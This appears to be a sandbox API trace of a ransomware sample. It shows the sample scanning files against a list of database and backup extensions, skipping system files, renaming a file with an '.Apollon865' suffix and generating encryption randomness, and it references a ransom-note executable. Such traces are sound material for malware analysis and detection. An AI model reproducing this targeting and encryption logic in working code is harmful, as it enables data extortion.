	[0072.140] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0072.140] lstrlenW (lpString="fic") returned 3
	[0072.140] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0072.140] lstrlenW (lpString="flexolibrary") returned 12
	[0072.140] lstrlenW (lpString="fm5") returned 3
	[0072.140] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0072.141] lstrlenW (lpString="fmp") returned 3
	[0072.141] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0072.141] lstrlenW (lpString="fmp12") returned 5
	[0072.141] lstrcmpiW (lpString1="1.cab", lpString2="fmp12") returned -1
	[0072.141] lstrlenW (lpString="fmpsl") returned 5
	[0072.141] lstrcmpiW (lpString1="1.cab", lpString2="fmpsl") returned -1
	[0072.141] lstrlenW (lpString="fol") returned 3
	[0072.141] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0072.141] lstrlenW (lpString="fp3") returned 3
	[0072.141] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0072.141] lstrlenW (lpString="fp4") returned 3
	[0072.141] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0072.141] lstrlenW (lpString="fp5") returned 3
	[0072.141] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0072.141] lstrlenW (lpString="fp7") returned 3
	[0072.141] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0072.141] lstrlenW (lpString="fpt") returned 3
	[0072.141] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0072.141] lstrlenW (lpString="frm") returned 3
	[0072.141] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0072.141] lstrlenW (lpString="gdb") returned 3
	[0072.141] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0072.141] lstrlenW (lpString="gdb") returned 3
	[0072.141] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0072.141] lstrlenW (lpString="grdb") returned 4
	[0072.141] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0072.141] lstrlenW (lpString="gwi") returned 3
	[0072.141] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0072.141] lstrlenW (lpString="hdb") returned 3
	[0072.141] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0072.141] lstrlenW (lpString="his") returned 3
	[0072.141] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0072.141] lstrlenW (lpString="ib") returned 2
	[0072.141] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0072.141] lstrlenW (lpString="idb") returned 3
	[0072.141] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0072.141] lstrlenW (lpString="ihx") returned 3
	[0072.141] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0072.142] lstrlenW (lpString="itdb") returned 4
	[0072.142] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0072.142] lstrlenW (lpString="itw") returned 3
	[0072.142] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0072.142] lstrlenW (lpString="jet") returned 3
	[0072.142] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0072.142] lstrlenW (lpString="jtx") returned 3
	[0072.142] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0072.142] lstrlenW (lpString="kdb") returned 3
	[0072.142] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0072.142] lstrlenW (lpString="kexi") returned 4
	[0072.142] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0072.142] lstrlenW (lpString="kexic") returned 5
	[0072.142] lstrcmpiW (lpString1="1.cab", lpString2="kexic") returned -1
	[0072.142] lstrlenW (lpString="kexis") returned 5
	[0072.142] lstrcmpiW (lpString1="1.cab", lpString2="kexis") returned -1
	[0072.142] lstrlenW (lpString="lgc") returned 3
	[0072.142] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0072.142] lstrlenW (lpString="lwx") returned 3
	[0072.142] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0072.142] lstrlenW (lpString="maf") returned 3
	[0072.142] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0072.142] lstrlenW (lpString="maq") returned 3
	[0072.142] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0072.142] lstrlenW (lpString="mar") returned 3
	[0072.142] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0072.142] lstrlenW (lpString="marshal") returned 7
	[0072.142] lstrcmpiW (lpString1="ab1.cab", lpString2="marshal") returned -1
	[0072.142] lstrlenW (lpString="mas") returned 3
	[0072.142] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0072.142] lstrlenW (lpString="mav") returned 3
	[0072.142] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0072.142] lstrlenW (lpString="maw") returned 3
	[0072.142] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0072.142] lstrlenW (lpString="mdbhtml") returned 7
	[0072.142] lstrcmpiW (lpString1="ab1.cab", lpString2="mdbhtml") returned -1
	[0072.142] lstrlenW (lpString="mdn") returned 3
	[0072.142] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0072.143] lstrlenW (lpString="mdt") returned 3
	[0072.143] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0072.143] lstrlenW (lpString="mfd") returned 3
	[0072.143] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0072.143] lstrlenW (lpString="mpd") returned 3
	[0072.143] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0072.143] lstrlenW (lpString="mrg") returned 3
	[0072.143] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0072.143] lstrlenW (lpString="mud") returned 3
	[0072.143] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0072.143] lstrlenW (lpString="mwb") returned 3
	[0072.143] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0072.143] lstrlenW (lpString="myd") returned 3
	[0072.143] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0072.143] lstrlenW (lpString="ndf") returned 3
	[0072.143] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0072.143] lstrlenW (lpString="nnt") returned 3
	[0072.143] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0072.143] lstrlenW (lpString="nrmlib") returned 6
	[0072.143] lstrcmpiW (lpString1="b1.cab", lpString2="nrmlib") returned -1
	[0072.143] lstrlenW (lpString="ns2") returned 3
	[0072.143] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0072.143] lstrlenW (lpString="ns3") returned 3
	[0072.143] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0072.143] lstrlenW (lpString="ns4") returned 3
	[0072.143] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0072.143] lstrlenW (lpString="nsf") returned 3
	[0072.143] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0072.143] lstrlenW (lpString="nv") returned 2
	[0072.143] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0072.143] lstrlenW (lpString="nv2") returned 3
	[0072.143] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0072.143] lstrlenW (lpString="nwdb") returned 4
	[0072.143] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0072.143] lstrlenW (lpString="nyf") returned 3
	[0072.143] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0072.143] lstrlenW (lpString="odb") returned 3
	[0072.143] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0072.144] lstrlenW (lpString="odb") returned 3
	[0072.144] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0072.144] lstrlenW (lpString="oqy") returned 3
	[0072.144] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0072.144] lstrlenW (lpString="ora") returned 3
	[0072.144] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0072.144] lstrlenW (lpString="orx") returned 3
	[0072.144] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0072.144] lstrlenW (lpString="owc") returned 3
	[0072.144] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0072.144] lstrlenW (lpString="p96") returned 3
	[0072.144] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0072.144] lstrlenW (lpString="p97") returned 3
	[0072.144] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0072.144] lstrlenW (lpString="pan") returned 3
	[0072.144] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0072.144] lstrlenW (lpString="pdb") returned 3
	[0072.144] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0072.144] lstrlenW (lpString="pdm") returned 3
	[0072.144] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0072.144] lstrlenW (lpString="pnz") returned 3
	[0072.144] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0072.144] lstrlenW (lpString="qry") returned 3
	[0072.144] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0072.144] lstrlenW (lpString="qvd") returned 3
	[0072.144] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0072.144] lstrlenW (lpString="rbf") returned 3
	[0072.144] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0072.144] lstrlenW (lpString="rctd") returned 4
	[0072.144] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0072.144] lstrlenW (lpString="rod") returned 3
	[0072.144] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0072.144] lstrlenW (lpString="rodx") returned 4
	[0072.144] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0072.144] lstrlenW (lpString="rpd") returned 3
	[0072.144] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0072.144] lstrlenW (lpString="rsd") returned 3
	[0072.144] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0072.145] lstrlenW (lpString="sas7bdat") returned 8
	[0072.145] lstrlenW (lpString="sbf") returned 3
	[0072.145] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0072.145] lstrlenW (lpString="scx") returned 3
	[0072.145] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0072.145] lstrlenW (lpString="sdb") returned 3
	[0072.145] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0072.145] lstrlenW (lpString="sdc") returned 3
	[0072.145] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0072.145] lstrlenW (lpString="sdf") returned 3
	[0072.145] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0072.145] lstrlenW (lpString="sis") returned 3
	[0072.145] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0072.145] lstrlenW (lpString="spq") returned 3
	[0072.145] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0072.145] lstrlenW (lpString="te") returned 2
	[0072.145] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0072.145] lstrlenW (lpString="teacher") returned 7
	[0072.145] lstrcmpiW (lpString1="ab1.cab", lpString2="teacher") returned -1
	[0072.145] lstrlenW (lpString="tmd") returned 3
	[0072.145] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0072.145] lstrlenW (lpString="tps") returned 3
	[0072.145] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0072.145] lstrlenW (lpString="trc") returned 3
	[0072.145] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0072.145] lstrlenW (lpString="trc") returned 3
	[0072.145] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0072.145] lstrlenW (lpString="trm") returned 3
	[0072.145] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0072.145] lstrlenW (lpString="udb") returned 3
	[0072.145] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0072.145] lstrlenW (lpString="udl") returned 3
	[0072.145] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0072.145] lstrlenW (lpString="usr") returned 3
	[0072.145] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0072.145] lstrlenW (lpString="v12") returned 3
	[0072.145] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0072.145] lstrlenW (lpString="vis") returned 3
	[0072.146] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0072.146] lstrlenW (lpString="vpd") returned 3
	[0072.146] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0072.146] lstrlenW (lpString="vvv") returned 3
	[0072.146] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0072.146] lstrlenW (lpString="wdb") returned 3
	[0072.146] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0072.146] lstrlenW (lpString="wmdb") returned 4
	[0072.146] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0072.146] lstrlenW (lpString="wrk") returned 3
	[0072.146] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0072.146] lstrlenW (lpString="xdb") returned 3
	[0072.146] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0072.146] lstrlenW (lpString="xld") returned 3
	[0072.146] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0072.146] lstrlenW (lpString="xmlff") returned 5
	[0072.146] lstrcmpiW (lpString1="1.cab", lpString2="xmlff") returned -1
	[0072.146] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.Apollon865") returned 137
	[0072.146] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab.apollon865"), dwFlags=0x1) returned 1
	[0072.147] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x100
	[0072.148] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=5800228) returned 1
	[0072.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0072.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0072.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0072.148] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0072.149] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0072.149] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0072.149] CreateFileMappingW (hFile=0x100, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x588430, lpName=0x0) returned 0x15c
	[0072.151] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x188430) returned 0x39e0000
	[0073.192] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0073.193] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0073.193] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0073.193] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0073.193] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0073.193] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0073.193] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0073.193] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0073.193] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0073.193] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0073.193] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0073.193] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0073.193] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0073.193] UnmapViewOfFile (lpBaseAddress=0x39e0000) returned 1
	[0073.208] CloseHandle (hObject=0x15c) returned 1
	[0073.208] CloseHandle (hObject=0x100) returned 1
	[0073.208] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0073.208] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0073.208] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0073.217] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f5ec850, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f5ec850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0073.217] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0073.217] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4374a500, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x4374a500, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x4374a500, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0073.217] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0073.217] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="Apollon865.txt.exe") returned 1
	[0073.217] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".") returned 1
	[0073.217] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="..") returned 1
	[0073.217] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="windows") returned -1
	[0073.217] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="bootmgr") returned 1
	[0073.217] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="temp") returned 1
	[0073.217] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="pagefile.sys") returned 1
	[0073.217] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="boot") returned 1
	[0073.217] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="ids.txt") returned 1
	[0073.217] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="ntuser.dat") returned 1
	[0073.217] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="perflogs") returned 1
	[0073.217] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="MSBuild") returned 1
	[0073.218] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28
	[0073.218] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 126
	[0073.218] lstrcpyW (in: lpString1=0x119e6f4, lpString2="vc_runtimeAdditional_x64.msi" | out: lpString1="vc_runtimeAdditional_x64.msi") returned="vc_runtimeAdditional_x64.msi"
	[0073.218] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28
	[0073.218] lstrlenW (lpString="Apollon865") returned 10
	[0073.218] lstrcmpiW (lpString1="al_x64.msi", lpString2="Apollon865") returned -1
	[0073.218] lstrlenW (lpString=".dll") returned 4
	[0073.218] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".dll") returned 1
	[0073.218] lstrlenW (lpString=".lnk") returned 4
	[0073.218] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".lnk") returned 1
	[0073.218] lstrlenW (lpString=".ini") returned 4
	[0073.218] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".ini") returned 1
	[0073.218] lstrlenW (lpString=".sys") returned 4
	[0073.218] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".sys") returned 1
	[0073.218] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28
	[0073.218] lstrlenW (lpString="bak") returned 3
	[0073.218] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0073.218] lstrlenW (lpString="ba_") returned 3
	[0073.218] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0073.218] lstrlenW (lpString="dbb") returned 3
	[0073.218] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0073.218] lstrlenW (lpString="vmdk") returned 4
	[0073.218] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0073.218] lstrlenW (lpString="rar") returned 3
	[0073.218] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0073.218] lstrlenW (lpString="zip") returned 3
	[0073.218] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0073.218] lstrlenW (lpString="tgz") returned 3
	[0073.218] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0073.218] lstrlenW (lpString="vbox") returned 4
	[0073.218] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0073.218] lstrlenW (lpString="vdi") returned 3
	[0073.218] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0073.218] lstrlenW (lpString="vhd") returned 3
	[0073.218] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0073.219] lstrlenW (lpString="vhdx") returned 4
	[0073.219] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0073.219] lstrlenW (lpString="avhd") returned 4
	[0073.219] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0073.219] lstrlenW (lpString="db") returned 2
	[0073.219] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0073.219] lstrlenW (lpString="db2") returned 3
	[0073.219] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0073.219] lstrlenW (lpString="db3") returned 3
	[0073.219] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0073.219] lstrlenW (lpString="dbf") returned 3
	[0073.219] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0073.219] lstrlenW (lpString="mdf") returned 3
	[0073.219] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0073.219] lstrlenW (lpString="mdb") returned 3
	[0073.219] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0073.219] lstrlenW (lpString="sql") returned 3
	[0073.219] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0073.219] lstrlenW (lpString="sqlite") returned 6
	[0073.219] lstrcmpiW (lpString1="64.msi", lpString2="sqlite") returned -1
	[0073.219] lstrlenW (lpString="sqlite3") returned 7
	[0073.219] lstrcmpiW (lpString1="x64.msi", lpString2="sqlite3") returned 1
	[0073.219] lstrlenW (lpString="sqlitedb") returned 8
	[0073.219] lstrcmpiW (lpString1="_x64.msi", lpString2="sqlitedb") returned -1
	[0073.219] lstrlenW (lpString="xml") returned 3
	[0073.219] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0073.219] lstrlenW (lpString="$er") returned 3
	[0073.219] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0073.219] lstrlenW (lpString="4dd") returned 3
	[0073.219] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0073.219] lstrlenW (lpString="4dl") returned 3
	[0073.219] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0073.219] lstrlenW (lpString="^^^") returned 3
	[0073.219] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0073.219] lstrlenW (lpString="abs") returned 3
	[0073.219] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0073.219] lstrlenW (lpString="abx") returned 3
	[0073.219] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0073.220] lstrlenW (lpString="accdb") returned 5
	[0073.220] lstrcmpiW (lpString1="4.msi", lpString2="accdb") returned -1
	[0073.220] lstrlenW (lpString="accdc") returned 5
	[0073.220] lstrcmpiW (lpString1="4.msi", lpString2="accdc") returned -1
	[0073.220] lstrlenW (lpString="accde") returned 5
	[0073.220] lstrcmpiW (lpString1="4.msi", lpString2="accde") returned -1
	[0073.220] lstrlenW (lpString="accdr") returned 5
	[0073.220] lstrcmpiW (lpString1="4.msi", lpString2="accdr") returned -1
	[0073.220] lstrlenW (lpString="accdt") returned 5
	[0073.220] lstrcmpiW (lpString1="4.msi", lpString2="accdt") returned -1
	[0073.220] lstrlenW (lpString="accdw") returned 5
	[0073.220] lstrcmpiW (lpString1="4.msi", lpString2="accdw") returned -1
	[0073.220] lstrlenW (lpString="accft") returned 5
	[0073.220] lstrcmpiW (lpString1="4.msi", lpString2="accft") returned -1
	[0073.220] lstrlenW (lpString="adb") returned 3
	[0073.220] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0073.220] lstrlenW (lpString="adb") returned 3
	[0073.220] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0073.220] lstrlenW (lpString="ade") returned 3
	[0073.220] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0073.220] lstrlenW (lpString="adf") returned 3
	[0073.220] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0073.220] lstrlenW (lpString="adn") returned 3
	[0073.220] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0073.220] lstrlenW (lpString="adp") returned 3
	[0073.220] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0073.220] lstrlenW (lpString="alf") returned 3
	[0073.220] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0073.220] lstrlenW (lpString="ask") returned 3
	[0073.220] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0073.220] lstrlenW (lpString="btr") returned 3
	[0073.220] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0073.220] lstrlenW (lpString="cat") returned 3
	[0073.220] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0073.220] lstrlenW (lpString="cdb") returned 3
	[0073.220] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0073.220] lstrlenW (lpString="ckp") returned 3
	[0073.220] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0073.220] lstrlenW (lpString="cma") returned 3
	[0073.221] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0073.221] lstrlenW (lpString="cpd") returned 3
	[0073.221] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0073.221] lstrlenW (lpString="dacpac") returned 6
